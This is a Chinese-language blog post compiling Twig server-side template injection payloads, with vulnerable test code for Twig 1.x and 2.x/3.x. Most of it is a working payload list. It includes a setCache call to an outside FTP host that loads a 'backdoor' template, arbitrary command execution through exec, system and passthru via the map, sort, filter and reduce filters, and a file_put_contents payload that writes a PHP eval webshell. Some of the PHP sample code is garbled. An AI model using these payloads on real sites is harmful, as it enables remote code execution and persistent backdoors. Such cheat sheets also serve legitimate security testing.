twig模板注入payload
twig模板注入payload

twig模板注入payload

记录一下和twig模板注入有关的一些payload

twig的安装:

twig存在1.x,2.x,3.x的多个版本,不同版本的payload也有所不同。我们选择安装3.x版本的twig并且使用PHP7.x运行。
使用composer一键安装:

composer require "twig/twig:^3.0"

建议事先建立好一个名为twig的文件夹,cd进入文件夹后进行安装,成功后得到如下的文件结构:

payload

twig1.x

测试代码:

<?php

include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();

loader = new Twig_Loader_String();twig = new Twig_Environment(loader);
echotwig->render($_GET['name']);
?>

在twig1.x下,存在全局变量_self,指向的是引用当前模板的实例,代码层面如下:

protected specialVars = [
        '_self' => 'this',
        '_context' => 'context',
        '_charset' => 'this->env->getCharset()',
    ];

:tw-1f1e8-1f1f3::tw-1f1e8-1f1f3::tw-1f1e8-1f1f3::tw-1f1e8-1f1f3::tw-1f1e8-1f1f3::tw-1f1e8-1f1f3:
我们可以利用_self变量,返回当前 \Twig\Template 实例,提供指向Twig_Environment的env属性,可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。
比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

getFilter函数中存在危险函数call_user_func

public function getFilter(name)
  {
    ...
    foreach (this->filterCallbacks as callback) {
    if (false !==filter = call_user_func(callback,name)) {
      return filter;
    }
  }
  return false;
}

public function registerUndefinedFilterCallback(callable)
{
  this->filterCallbacks[] =callable;
}

通过传递参数到该函数中,我们可以调用任意 PHP 函数。Payload 如下:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在twig2.x和3.x中_self的作用发生变化,此payload不能继续使用。

twig2.x&&3.x

测试代码:

<?php
require_once __DIR__.'/vendor/autoload.php';

loader = new \Twig\Loader\ArrayLoader();twig = new \Twig\Environment(loader);template = twig->createTemplate("Hello {_GET['name']}!");

echo $template->render();

使用map过滤器

{{["calc"]|map("system")}}
{{["calc"]|map("passthru")}}
{{["calc"]|map("exec")}}

我们将传入的name值设为上面的payload,可以在Windows本地环境中成功执行:

如果以上几个函数被禁用,我们还可以调用file_put_contents函数写一句话木马,生成webshell。

{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}}

诸如此类方法有很多,在此就不一一进行列举。

使用sort过滤器

{{["calc", 0]|sort("system")}}
{{["calc", 0]|sort("passthru")}}
{{["calc", 0]|sort("exec")}}

使用filter过滤器

{{["calc"]|filter("system")}}
{{["calc"]|filter("passthru")}}
{{["calc"]|filter("exec")}}

使用reduce过滤器

{{[0, 0]|reduce("system", "calc")}}
{{[0, 0]|reduce("passthru", "calc")}}
{{[0, 0]|reduce("exec", "calc")}} 

参考(白嫖出处):https://xz.aliyun.com/t/10056#toc-16

发表评论

您的电子邮箱地址不会被公开。